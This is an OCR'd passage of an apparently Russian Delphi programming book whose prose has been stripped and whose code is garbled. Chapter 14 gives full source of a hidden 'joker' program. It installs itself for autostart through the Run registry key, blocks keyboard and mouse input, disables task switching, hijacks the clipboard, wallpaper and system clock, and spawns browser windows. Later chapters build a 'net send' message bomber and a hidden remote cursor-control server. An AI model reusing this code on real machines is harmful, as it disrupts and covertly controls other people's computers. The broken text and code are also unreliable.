IntToStr(balls*(100 div 5))+'%';
end;
113
, ,
Label2 ,
. : "
* (100 / )".
. 13.3.
. 13.3.
, , . ""
, : OnMouseDown OnMouseUp. ,
. p i KH
J?J>S!OLi!ML^^
_______ _
114
begin
pi.Bevellnner: =bvRaised;
pi.BevelOuter: =bvLowered;
end;
, p i 2, , 4 5.
. 13.4.
Delphi?
: :
foi
{" ,'foreacl
repeat
while
;
. 13.4.
- 13.1.
13.1. -
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, ExtCtrls, StdCtrls, inifiles,
jpeg, Menus;
type
115
13.1.
TForml = class(TForm)
Memo1: TMemo;
RadioGroupl: TRadioGroup;
pi: TPanel;
p2: TPanel;
p3: TPanel;
p4 : TPanel;
p5 : TPanel;
anl: TRadioButton;
an2: TRadioButton;
an3: TRadioButton;
an4: TRadioButton;
Label1: TLabel;
Label2: TLabel;
MainMenul: TMainMenu;
N1: TMenuItera;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
Openl: TOpenDialog;
procedure FormCreate(Sender: TObject);
procedure plClick(Sender: TObject);
procedure p2Click(Sender: TObject);
procedure p3Click(Sender: TObject);
procedure p4Click(Sender: TObject);
procedure p5Click(Sender: TObject);
procedure ImagelClick(Sender : TObject);
procedure plMouseDown(Sender : TObject;
Button: TMouseButton; Shift: TShiftState;
procedure plMouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState;
procedure p2MouseDown(Sender : TObject;
Button: TMouseButton; Shift: TShiftState;
procedure p2MouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState;
procedure p3MouseDown(Sender : TObject;
Button: TMouseButton; Shift: TShiftState;
procedure p3MouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState;
procedure p4MouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState;
procedure p4MouseDown(Sender : TObject;
Button: TMouseButton; Shift: TShiftState;
procedure p5MouseDown(Sender : TObject;
Button: TMouseButton; Shift: TShiftState;
x,
Y: Integer);
x,
Y: Integer);
x,
Y: Integer);
x,
Y: Integer);
x,
Y: Integer);
x,
Y: Integer);
x, Y:
Integer);
x,
Y: Integer);
x,
Y: Integer);
116
13,1.
procedure p5MouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
procedure NIClick(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
( Private declarations }
procedure start; //
procedure question_select; //
procedure vars(var variant: integer); {
}
procedure verno(); {:
}
public
{ Public declarations }
end;
var
Forml: TForml;
i, a, n, balls, vopr: integer; {
)
dir, dir2, ss, zz, yes: string; { ,
}
win: TIniFile; // ini-
mass: array[1..100] of integer; {
, }
fl,f2: file of char; //
: char; //
implementation
{$R *.dfm}
procedure TForml.vars(var variant: integer);
begin
//
question_select();
case variant of
1: begin
Win := TIniFile.Create(dir2); // ini-
//
Memol.Text :=
Win.ReadString('Q', IntToStr(a), Memol.Text);
//
anl.Caption :=
117
13.1.
Win.Readstring(' A', IntToStr(a), anl.Caption);
//
an2.Caption :=
Win.ReadString(' W l 1 , IntToStr(a) , an2.Caption);
.Caption : =
Win.ReadString(' W2', IntToStr(a) , .Caption);
an4.Caption :=
Win.ReadString(' W 3 ' , IntToStr(a) , an4.Caption);
Win.Free; // ini-
//
yes := anl.Caption ;
end;
2 : begin
Win := TIniFile.Create (dir2);
Memol.Text :=
Win.ReadString(' Q', IntToStr(a), M e m o l . T e x t ) ;
an2.Caption :=
Win.ReadString{' A', IntToStr(a), an2.Caption);
anl.Caption :=
Win.ReadString(' Wl' , IntToStr(a) , anl.Caption);
an3.Caption :=
Win.ReadString(' W 2 \ IntToStr (a) , .Caption);
an4.Caption := .
Win.ReadString(' W3', IntToStr(a) , an4.Caption);
Win.Free;
yes := an2. Caption
end;
3: begin
Win := TIniFile.Create (dir2);
Memol.Text :=
Win.ReadString(' Q \ IntToStr(a), M e m o l . T e x t ) ;
an3.Caption :=
Win.ReadString(' A', IntToStr(a), .Caption);
an2.Caption :=
Win.ReadString(' Wl', IntToStr(a) , an2.Caption);
anl.Caption :=
Win.ReadString(' W 2 ' , IntToStr (a) , anl.Caption);
an4.Caption :=
Win.ReadString(' W3' , IntToStr(a) , a n 4 . C a p t i o n ) ;
Win.Free;
yes := an3.Caption
end;
4 : begin
Win := TIniFile.Create (dir2);
Memol.Text :=
Win.ReadString(' Q', IntToStr(a), M e m o l . T e x t ) ;
118
13.1.
an4.Caption : =
Win.ReadString('A' , IntToStr(a), an4.Caption) ;
an2.Caption :=
Win.ReadString('Wl', IntToStr(a), an2.Caption);
.Caption :=
Win-.ReadString ( 'W2 ' , IntToStr (a), an3.Caption);
anl.Caption :=
Win.ReadString('W3', IntToStr(a), anl.Caption);
Win.Free;
yes := an4.Caption;
end;
end;
end;
procedure TForml.start();
begin
Randomize; //
for i:=l to n do mass[i] := 0; //n =
{$1-} // /
//
Memol.Visible := True;
RadioGroupl.Visible := True;
Labell.Visible := True;
anl.Visible := True;
an2.Visible :- True;
an3.Visible := True;
an4.Visible := True;
pi.Visible := True;
p2.Visible := False;
p3.Visible := False;
p4.Visible := False;
p5 . Visible : False;
balls := 0;
Label2.Visible := False; //
Labell.Caption := ' :1;
dir2 := 'C:\base.bsd'; //
// :
CopyFile(PChar(ss), PChar(dir2), True);
// fl ini-
AssignFile(fl, ss);
// f2 C:\base.bsd
AssignFile(f2, dir2);
Reset (fl); //
Rewrite(f2); // -
while not Eof(fl) do
119
13.1.
begin //
Read(fl, cop); //
:= Chr(Ord(cop) xor 101); //
Write(f2, cop); //
end;
CloseFile(f1); //
CloseFile(f2); //
{$1+} // /
Win := TIniFile.Create(dir2); // ini-
//
ss := Win.ReadString('num', 'num', ss);
//
n := StrToInt(ss);
vopr := Random(4) + 1; // 1 4
vars(vopr); ( vars,
}
end;
procedure TForml.question_select();
label ran; // ran
begin
Randomize;
ran:
a := Random(n); //
//:
for i:=l to n do
if mass[i] = a then goto ran;
for i:=l to n do
if massfi] = 0 then
begin
mass[i] := ; ( ,
}
Break;
end;
//
anl.Checked := False;
an2.Checked := False;
.Checked := False;
an4.Checked := False;
end;
procedure TForml.verno();
begin
if anl.Checked then
if yes = anl.Caption then balls := balls + 1;
if an2.Checked then
120
13.1.
if yes = an2.Caption then balls
if an3.Checked then
if yes = an3.Caption then balls
if an4.Checked then
if yes = an4.Caption then balls
end;
: = balls + 1;
: = balls + 1;
:= balls + 1;
procedure TForml.N2Click(Sender: T O b j e c t ) ;
begin
Randomize;
//
Openl.InitialDir := GetCurrentDir;
if not Openl.Execute
then ShowMessage(' ! 1 )
else begin
ss := Openl.FileName; //
zz := ss; //
s t a r t ( ) ; //
end;
end;
procedure TForml.FormCreate(Sender: TObject};
begin
Randomize;
// ,
dir := GetCurrentDir;
ss : = dir + '\comp.ini'; //
z z : = ss ;
s t a r t ( ) ; //
end;
procedure TForml.plClick(Sender: TObject);
begin
Labell.Caption := ' :';
verno (); //
pi.Visible := False; //
2.Visible := True; //
vopr := Random(4) + 1; //
v a r s ( v o p r ) ; //
end;
procedure TForml.p2Click(Sender: TObject);
begin
Labell.Caption := ' :';
121
13.1.
2.Visible : = False;
.Visible := True;
vopr := Random(4) 4 1;
vars(vopr);
end;
procedure TForml .p3Click(Sender: TObject);
begin
Labell.Caption := ' : ';
verno ();
p3.Visible := False;
p4.Visible := True;
vopr :- Random(4) + 1;
vars(vopr);
end;
procedure TForml .p4Click(Sender: TObject);
begin
Labell.Caption := ' :';
verno();
p4.Visible := False;
p5.Visible := True;
vopr := Random(4) + 1;
vars(vopr);
end;
procedure TForml .p5Click(Sender: TObject);
begin
verno();//
//,
ss : = IntToStr(balls);
Memol.Visible := False;
5.Visible := False;
RadioGroupl.Visible : = False;
Labell.Visible := False;
anl.Visible := False;
an2.Visible := False;
an3.Visible := False;
an4.Visible := False;
Label2.Visible := True; //
Label2.Align : = alClient; //
//
Label2.Caption := ' ' +
IntToStr(balls*(100 div 5))+'%';
end;
122
13.1.
procedure TForml.N4Click(Sender: TObject);
begin
Halt;
end;
procedure TForml.plMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
pi.Bevellnner := bvLowered;
pi.BevelOuter := bvRaised;
end;
procedure TForml.plMouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
pi.Bevellnner := bvRaised;
pi.BevelOuter := bvLowered;
end;
procedure TForml.p2MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
p2.Bevellnner := bvLowered;
p2.BevelOuter := bvRaised;
end;
procedure TForml.p2MouseUp(Sender: TObject; '
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
p2.Bevellnner := bvRaised;
p2.BevelOuter := bvLowered;
end;
procedure TForml.p3MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y- Integer);
begin
p3.Bevellnner := bvLowered;
p3.BevelOuter := bvRaised;
end;
procedure TForml.p3MouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
begin
p3.Bevellnner := bvRaised;
p3.BevelOuter := bvLowered;
123
13.1.
end;
procedure TForml.p4MouseUp(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y:
begin
p4.Bevellnner : = bvRaised;
p4.BevelOuter := bvLowered;
end;
procedure TForml.p4MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y:
begin
p4.Bevellnner := bvLowered;
p4.BevelOuter := bvRaised;
end;
procedure TForml.p5MouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState; X, Y:
begin
p5.Bevellnner := bvLowered;
p5.BevelOuter := bvRaised;
end;
Integer)
Integer)
Integer);
TObject);
procedure TForml.FormDestroy(Sender:
begin
DeleteFile('c:\base.bsd');
end;
TObject);
end.
- C h a p t e r _ 1 3 .
124
14
,
.
Delphi. , Timer System.
. ,
I n t e r v a l 60000.
, .
, ,
.
On P a i n t :
procedure TForml.FormPaint(Sender: TObject)
begin
Forml.Hide; //
end;
.
, ,
Windows.
. OnCreate :
procedure TForml.FormCreate(Sender: TObject);
125
reg: TRegistry; //
path: string; //
begin
Randomize; //
//
path := Application.EXEname;
reg := TRegistry.Create; //
//
reg.RootKey := HKEY_CURRENT_USER;
//
if reg.OpenKey('\Software\Microsoft\Windows\' +
1
CurrentVersion\Run', True)
then begin
//
reg.WriteString('Joker', path);
reg.CloseKey; //
reg.Free; //
end;
end;
, uses
R e g i s t r y . . o6jbBjj^ej^)6^^
__
var
Forml: TForml;
//
Dummy: integer = 0;
OldKbHook: HHook = 0;
//
1: Graphics.TBitmap;
DC1: HDC;
Imagel: TImage;
//
fn:TSearchRec;
Finds: integer;
i: integer;
endval: integer;
err_str: string; //
tm: TSystemTime; //
reg: TRegistry; //
JokeNum: shortint; // ,
curs: TRect; //
OnTimer.
^
procedure TForml.TimerlTimer(Sender: TObject);
begin
126
JokeNum := Random(10) + 1 ; //
case JokeNum of //
1: begin
//
end;
2: begin
//
end;
3: begin
//
end;
4: begin
//
end;
5: begin
//
end;
6: begin
//
end;
7: begin
//
end;
8: begin
//
end;
9: begin
//
end;
10: begin
//
end;
end;
end;
.
1 10, ,
. , ,
case.
1
, :
Screen . Width div 2, Screen. Height) ;
127
.
2
: , , ,
.
function KbHook(code: Integer; wparam: Word;
lparam: Longlnt): Longlnt; stdcall;
begin
if code < 0 then
Result := CallNextHookEx(oldKbHook, code, wparam, lparam)
else
Result := 1;
end;
:
SystemParametersInfo(SPI_SETFASTTASKSWITCH, I, @Dummy, 0 ) ;
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, @, 0) ;
OldKbHook:=SetWindowsHookEx(WH mouse, OKbHook, HInstance, 0 ) ;
.
3
,
SystemParametersInfo(SPI_SETFASTTASKSWITCH, I, @Dummy, 0 ) ;
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, SDummy, 0 ) ;
OldKbHook:=SetWindowsHookEx(WH_KEYBOARD,SKbHook,HInstance,0);
t 11
i mli iiiinnniiiiiiiiiniii H
I MH
IIH
IM
IH
I UI n I n
in
IIHII I n r IIHTII n1
*>
! 1141 IIII m
m ' " ill "ill i in i nmni1
,
WH_MOUSE WH_KEYBOARD. -
.
4
. :
ClipBoard.Open; //
ClipBoard.Clear; //
// }
Clipboard.asText := ' !
128
j ClipBoard.Close; //
use
c l i p b r d .
5
, ,
. implementation SetWallpaper, procedure SetWallpaper(sWallpaperBMPPath: String;
bTile: boolean ) ;
begin
reg := TRegistry.Create;
reg.RootKey := hkey_current_user;
if reg.OpenKey('Control Panel\Desktop', True)
then reg.WriteString('Wallpaper', sWallpaperBMPPath); {
bmp- }
//
reg.WriteString('TileWallpaper', 1 ) ;
with reg do
begin
WriteString('Wallpaper', sWallpaperBMPPath ) ;
if bTile then
begin
WriteString('TileWallpaper', '1' ) ;
end
else begin
WriteString('TileWallpaper', '0' ) ;
end;
end;
reg.Free;
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil,
SPIF_SENDWININICHANGE ) ;
end;
HKEY_CURRENT_USER \ C o n t r o l Panel\
Desktop. , , w a l l paper. , "" wallpaper ,
.
.
129
SystemParametersInfo :
, (
SPi_SETDESKWALLPAPER );
;
;
, .
SPIFSENDWININICHANGE.
:
^
1 := Graphics.TBitmap.Create;
// ,
1.Height := Screen.Height;
1.Width := Screen.Width;
DC1 := GetDC(O);
//
BitBlt(BMPl.Canvas.Handle, 0, 0, Screen.Width,
Screen.Height, DC1, 0, 0, SRCCOPY);
Forml.Visible := True; //
Imagel := TImage.Create(nil);
BMP1.IgnorePalette := True;
Imagel.Picture.Assign(BMP1);
BMP1.SaveToFile(':\1.bmp'); // l.bmp
SetWallpaper(':\1.bmp', False ) ; // ,
Repaint; //
, ,
SetWallPaper, .
6
,
, ?
, Windows :
endval := Random(10) + 5; //
// *.bmp Windows
Finds := FindFirst(':\Windows\*.bmp 1 , faAnyFile, f n ) ;
Finds := R a n d o m ( 2 ) ; // , 0 1
// 1,
if Finds = 1 then SetWallpaper(fn.Name, False ) ;
if Finds = 0 then
begin //...
for i:=1 to endval do
9 5-1212
130
begin
Finds := FindNext(fn); // ...
//
if i = endval - 3 then SetWallpaper(fn.Name, False);
end;
end;
FindClose(fn); //
Windows
. SetWallpaper.
7
.
:
SendMessage(Application.Handle, WM_SYSCOMMAND,
SC MONITORPOWER, 1 ) ;
8 , ""
, , .
|
for i:=l to 200 do
begin
case i of
// 25- -
25,50,75,100,125,150,175,199: err_str := err_str+#13#10;
end;
// ""
err_str := err_str + IntToStr(Random(99999));
end;
MessageDlg(err str, mtError, [mbOk], 0 ) ; //
1 200 0 99999.
e r r s t r . 25-
. ""
. 14.1.
131
. 14.1. ""
9 Internet Explorer
( 5 15)
Internet Explorer wwv;. h e e l . nm. ru.
:
for i:=l to Random(10) + 5 do // 5 15
ShellExecute(0, 'open',
'C:\Program Files\lnternet Explorer\' +
1
IEXPLOKE.EXE', 'www.heel.nm.ru1, 0,
SW MAXIMIZE);
14.1.
132
14.1,
unit Unitl;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, ExtCtrls, Registry, clipbrd,
ShellApi;
type
TForml = class(TForm)
Timerl: TTimer;
procedure TimerlTimer(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Forml: TForml;
//
Dummy: integer 0;
OldKbHook: HHook = 0;
//
1: Graphics.TBitmap;'
DC1: HDC;
Imagel: TImage;
//
fn:TSearchRec;
Finds: integer;
i: integer;
endval: integer;
err_str: string; //
tm: TsystemTime; //
reg: Tregistry; //
JokeNum: shortint; // ,
curs: TRect; //
implementation
procedure SetWallpaper(sWallpaperBMPPath: String;
bTile: boolean );
133
14.1.
begin
reg := TRegistry.Create;
reg.RootKey :- hkey_current_user;
if reg.OpenKey('Control Panel\Desktop', True)
then reg.WriteString('Wallpaper', sWallpaperBMPPath); {
bmp- }
//
reg.WriteString('TileWallpaper' , '1' ) ;
with reg do
begin
WriteString('Wallpaper', sWallpaperBMPPath );
if bTile then
begin
WriteString('TileWallpaper', '1' );
end
else begin
WriteString('TileWallpaper', '0' );
end ;
end;
reg.Free;
SystemParametersInf(SPI_SETDESKWALLPAPER, 0, Nil,
SPIF_SENDWININICHANGE );
end;
function KbHook(code: Integer; wparam: Word;
lparam: Longlnt): Longlnt; stdcall;
begin
if code < 0 then
Result := CallNextHookEx(oldKbHook, code, wparam, lparam)
else
Result := 1 ;
end;
{$R *.dfm}
procedure TForml.TimerlTimer(Sender: TObject);
var
JokeNum: shortint;
curs: TRect;
begin
JokeNum := Random(10) + 1;
case JokeNum of
1: begin //
curs := Rect(0,0,Screen.Width div 2,Screen.Height);
ClipCursor(Scurs);
134
14.1.
end;
begin //
SystemParametersInfo(SPI_SETFASTTASKSWITOH, 1,
@ Dummy, 0) ;
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1,
@Dummy, 0 ) ;
OldKbHook := SetWindowsHookEx(WH_mouse, @KbHook,
HInstance, 0 ) ;
end;
begin //
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1,
@Dummy, 0 ) ;
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1,
@Dummy, 0 ) ;
OldKbHook := SetWindowsHookEx(WH_KEYBOARD, @KbHook,
HInstance, 0 ) ;
end;
begin //
ClipBoard.Open; //
ClipBoard.Clear; //
//
Clipboard.asText :=
' !';
ClipBoard.Close; //
end;
begin //
1 := Graphics.TBitmap.Create;
//
1.Height := Screen.Height;
1.Width := Screen.Width;
DC1 := GetDC(O);
//
BitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width,
Screen.Height, DC1, 0, 0, SRCCOPY);
//
Forml.Visible := True;
Imagel := TImage.Create(nil) ;
BMP1.IgnorePalette := True;
Imagel.Picture.Assign(BMPl);
// l.bmp :\
BMPl.SaveToFile(':\l.bmp');
//
SetWallpaper(':\1.bmp', False);
Repaint; //
end;
135
14.1.
j
II..
'"
6: begin //
endval := Random(lO) + 5; //
// *.bmp Windows
Finds := FindFirst(':\Windows\*.bmp',faAnyFile,fn);
Finds := Random(2); // , 0 1
// 1,
if Finds = 1 then SetWallpaper(fn.Name, False);
if finds=0 then
begin //...
for i:=l to endval do
begin
Finds := FindNext(fn); // ...
//
if i=endval-3 then SetWallpaper(fn.Name, False);
end;
end;
FindClose(fn); //
end;
7: begin //
SendMessage(Application.Handle, WM__SYSCOMMAND,
SC_MONITORPOWER, 1 ) ;
end;
8: begin // ""
for i:=l to 200 do
begin
// 25- -
case i of
25,50,75,100,
125,150,175,199: err_str := err_str + #13#10;
end;
// ""
err_str := err_str + IntToStr(random!99999));
end;
MessageDlg (err_str, mtError, " [mbOk] , 0 ) ; //
end;
9: begin // Internet Explorer
for i:=l to Random(lO) + 5 do
ShellExecute(0, 'open',
'C:\Program FilesMnternet Explorer\' +
1
IEXPLORE.EXE', 'www.heel.nm.ru',
0, SW_MAXIMIZE) ;
end;
10: begin //
GetLocalTime(tm); //
tm.wYear := 2000; //
tm.wMonth := 01; //
136
14.1.
tm.wDay := 01;
//
tm.wHour : = 0;
//
tm.wMinute : = 0; //
tm.wSecond := 1; //
tm.wMilliseconds : = 0; //
SetLocalTime(tm); //
end;
end;
; end;
procedure TForml.FormPaint(Sender: TObject);
begin
;
Forml.hide; //
end;
procedure TForml.FormCreate(Sender: TObject);
var
reg: TRegistry; //
path: string; //
begin
Randomize; //
//
path : = Application.EXEname;
reg := TRegistry.Create; //
//
reg.RootKey : = HKEY_CURRENT_USER;
//
if reg.OpenKey('\Software\Microsoft\Windows\' +
'CurrentVersion\Run', True)
then begin
//
reg.WriteString ('Joker', path);
reg.CloseKey; //
reg.Free; //
end;
end;
end.
- Chapter__14.
137
15
,
Win2000/XP n e t send. , .
.
Delphi. ( Caption) Net Sender.
Label Standard
Caption IP-:, : :.
Edit
Standard. i p ( Name), Text
192 .168 . . 1.; txt, Text - ;
how, Text 1.
Checkbox Standard. s e c u r e , Caption
,
Checked True.
( Button Standard), Caption Send.
( Timer System), I n t e r v a l 10.
. 15.1.
138
Net sender
IP -:; 3i92.168
: jSmS
:; 1
W
Send
. 15.1.
bomb, .
K^^aKpjbmiHj4JieH : __ _ _
] type
TForml = class(TForm)
private
{ Private declarations }
procedure bomb();
public
{ Public declarations }
i end;
5 i integer:
I var
I
Forml: TForml;
i: integer;
139
:
. , "!";
IP-,
127.0.0.1; , .
n e t send, :
net send ip- .
^^
(procedure TForml.TimerITimer(Sender: TObject);
var
h: HWND; //
| begin
if not secure.Checked then //
Timerl.Enabled := False; //
if secure.Checked then //
begin
//
h := FindWindow(nil, ' ' ) ;
//
if h then PostMessage(h, WM_QUIT, 0, 0 ) ;
end;
end;
, , , , . ,
.
, 2_ s e c u r e . OnClick:
procedure TForml.secureClick(Sender: TObject);
begin
if secure.Checked then // ...
Timerl.Enabled := True; II.. .
end;
Send
bomb:
procedure TForml.ButtonlClick(Sender: TObject);
begin
bomb;
140
end;
, ,
<Enter> .
OnKeyPress . ip, t x t
how:
_
| procedure TForml.ipKeyPress(Sender: TObject; var Key: Char);
! begin
if key = #13 then // <Enter>
bomb; //
end;
15.1.
15.1.
unit Unitl;
interface
>
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, ExtCtrls;
type
TForml - class(TForm)
Buttonl: TButton;
ip: TEdit;
Label1: TLabel;
Label2: TLabel;
txt: TEdit;
Label3: TLabel;
how: TEdit;
secure: TCheckBox;
Timerl: TTimer;
procedure TimerlTimer(Sender: TObject);
procedure secureClick(Sender: TObject);
procedure ipKeyPress(Sender: TObject; var Key: Char);
procedure txtKeyPress(Sender: TObject; var Key: Char);
procedure howKeyPress(Sender: TObject; var Key: Char);
procedure ButtonlClick(Sender : TObject);
private
1
j
|
1
141
15.1.
{ Private declarations }
procedure bomb();
public
f Public declarations }
end;
var
Forml: TForml;
i: integer;
j implementation
I ($R *.dfm}
procedure TForml.bomb();
begin
//,
if txt.Text = '' then txt.Text := '!';
// ,
if how.Text = '' then how.Text := '1';
if ip.Text = '' then ip.Text := '127.0.0.1'; { ip-
, }
//
for i:=l to StrToInt(how.Text) do
WinExec (PChar('net send ' + ip.Text + '"' + txt.Text +
' " ' ) , 0 ) ; //
! end;
{
! procedure TForml.TimerlTimer(Sender: TObject);
var
h: HWND; //
begin
if not secure.Checked then //
Timerl.Enabled := False; //
if secure.Checked then //
begin
//
h := FindWindow(nil, ' ' ) ;
//
if h 0 then PostMessage(h, WM_QUIT, 0, 0 ) ;
end;
end;
procedure TForml.secureClick(Sender: TObject);
begin
142
15.1.
if secure.Checked then // ...
Timerl.Enabled := True; //...
end;
procedure TForml.ipKeyPress(Sender: TObject; var Key: Char);
begin
if key = #13 then // <Enter>
bomb; //
end;
procedure TForml.ButtonlClick(Sender: TObject);
begin
bomb;
end;
I end.
- C h a p t e r 15.
143
16
,
, . ,
Internet.
:
( "")
( ""),
. "-"
Delphi. "" , "" . .
Delphi. Caption Remote Mouse. Label
Standard Caption Port.
Edit Standard.
p o r t ( Name), Text 2801.
Label, Caption IP. Edit
i p 127 . 0 . 0 . 1 .
144
( Button
Standard), Caption Connect
Disconnect. Timer
System. Enabled False, I n t e r v a l 500 ( ).
C l i e n t S o c k e t Internet C l i e n t
( Name). .
. 16.1.
Connect
Disconnect
. 16.1.
Connect
_: __
procedure TForml.ButtonlClick(Sender: TObject);
begin
Client.Port := StrToInt(port.Text); //
Client.Address := ip.Text; // ip-
Client.Active := True; //
Timerl.Enabled := True; //
end ;
, . ,
, .
Disconnect:
__
i procedure TForml.Button2Click(Sender: TObject);
I begin
Timerl.Enabled := False; //
145
Client.Close; //
Client.Active := False; //
end;
Disconnect .
, OnDestroy
:
procedure TForml.FormDestroy(Sender: TObject);
; begin
Client.Close; //
Client.Active := False; //
end;
.
c l i e n t . OnConnect:
procedure TForml.ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
ShowMessage('Connected!'); //
end;
, OnPiaconnect:
procedure TForml.ClientDisconnect(Sender: TObject;
Socket:' TCustomWinSocket);
begin
ShowMessage('Disconnected!'); //
end;
; OnTimer Timer:
procedure TForml.TimerITimer(Sender: TObject);
var
cur: TPoint; //
begin
GetCursorPos(cur); //
//
Client.Socket.SendText(IntToStr(cur.X) + '_' +
IntToStr(cur.Y));
end;
. - .
-.
10 5-1212
146
Delphi. ServerSocket Internet Port 28 01.
, . ' co6jTHflj|)ojpj^^
procedure TForml.FormPaint(Sender: TObject);
begin
Forml.Hide;
end;
, OnCreate:
procedure TForml.FormCreate(Sender: TObject);
begin
ServerSocketl.Active := True; //
end;
, OnDestroy:
procedure TForml.FormDestroy(Sender: TObject);
begin
ServerSocketl.Active := False; //
end;
OnClientRead ServerSocket. , . :
procedure TForml.ServerSocketlClientRead(Sender: TObject;
Socket: TCustomWinSocket);
I var
str,
x, y: string; //
// X
i, j: integer; //
begin
//
: = '' ;
Y :=
str := Socket.ReceiveText; //
for i:=l to Length(str) do
begin
if str[i] <> '_' then x := x + str[i]; //
if str[i] = '_' then Break; //
147
//
end;
for j:=i+l to Length(str) do :=y+str[j]; //
//
SetCursorPos(StrToInt(x) , StrToInt ()) ;
end;
X Y.
, .
, , ,
Internet.
16.1.
16.1.
unit Unitl;
interface
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, ScktComp;
type
TForml = class(TForm)
ServerSocketl: TServerSocket;
procedure FormDestroy(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ServerSocketlClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormPaint(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Forml: TForml;
implementation
10*
148
16.1.
j" {$R * . dfm}
procedure TForml.FormDestroy(Sender: TObject);
j begin
ServerSocketl.Active := False; //
| end;
{procedure TForml.FormCreate(Sender: TObject);
! begin
ServerSocketl.Active := True; //
end;
procedure TForml.ServerSocketlClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
str, x, y: string; //
// X Y
i, j: integer; //
begin
//
:= ' ' ;
:= " ;
str := Socket.ReceiveText; //
for i:=l to Length(str) do
begin
if str[i] <> '_' then x : = x + str[i]; //
if str[i] = '_' then Break; //
//
end;
for j:=i+l to Length(str) do y:=y+str[j]; // |
//
SetCursorPos(StrToInt(x), StrToInt(y) ) ;
end;
procedure TForml.FormPaint(Sender: TObject);
begin
Forml.Hide;
end;
end.
16.2.
149
16.2.
| unit Unitl;
''. interface
Windows, Messages, SysUtils, Variants, Classes, Graphics,
Controls, Forms, Dialogs, ScktComp, StdCtrls, ExtCtrls;
type
TForml = class(TForm)
Buttonl: TButton;
Button2: TButton;
Client: TClientSocket;
Timer1: TTimer;
port: TEdit;
ip: TEdit;
Label1: TLabel;
Label2: TLabel;
procedure Button2Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ButtonlClick(Sender: TObject);
procedure TimerlTimer(Sender: TObject);
procedure ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Forml: TForml;
implementation
($R *.dfm}
procedure TForml.Button2Click(Sender: TObject);
begin
Eimerl.Enabled := False; //
Client.Close; //
Client.Active := False; //
end;
150
16.2.
! procedure TForml.FormDestroy(Sender: TObject);
begin
Client.Close;
Client.Active := False;
end;
procedure TForml.ButtonlClick(Sender: TObject);
begin
Client.Port := StrToInt(port.Text); //
Client.Address := ip.Text; // ip-
Client.Active := True; //
timerl.Enabled := True; //
end;
procedure TForml.TimerlTimer(Sender: TObject);
var
cur: TPoint; //
begin
GetCursorPos(cur); //
//
Client.Socket.SendText(IntToStr(cur.X) + '_' +
IntToStr(cur.Y));
end;
procedure TForml.ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
//
ShowMessage('Connected!');
end;
procedure TForml.ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
//
ShowMessage('Disconnected! ' ) ;
end;
end.
- C h a p t e r 1 6 \ C l i e n t ,
Chapt e r 16\Server.
151
17
SMS
Internet
SMS
Internet.
("UMC", "", ""...)
SMS, ,
, ,
, .
Delphi SMSsender ( Caption),, Label Standard Caption : . ComboBox ( ) Standard
. 17.1.
ComboBox. I t e m s ,
,
.
17.1. ComboBox
Name
oper
Text
< >
Items
( 0 6 6 )
, -
UMC (050)
SMS
(067)
152
SMS Internet
,
. , .
Label, Caption :.
Edit Standard t e l ( Name).
Label : ( Caption).
Memo Standard, sms. 160 , Web-
160 . , sms .MaxLength 160.
, sms, memo- Label . 17.2.
17.2. L a b e l
Name
kolvo
Caption
Font.Color
clRed
Font.Size
18
153
NMSMTP1. Host smtp-. yandex, ru s m t p . y a n d e x . r u .
User ID heel-adm. PostMessage
FromAddress heel-adm@yandex . r u ,
a FromName h e e l - a d m . P o r t 25.
. 17.1.
- \\ |
: <>
: 11565394
:
. 17.1. SMS
HL?
procedure TForml.ButtonlClick(Sender: TObject);
var
num: string; //
begin
NMSMTP1.PostMessage.Body.Clear; //
// SMS
NMSMTP1.PostMessage.Body.AddStrings(sms.Lines);
//,
case oper.Itemlndex of
0: num := '38066'+tel.Text+'@sms.jeans.com.ua'; //
1: num := '38050'+tel.Text+'@sms.umc.com.ua'; //UMC
2: num := '38067'+tel.Text+'@sms.kyivstar.net'; //
end;
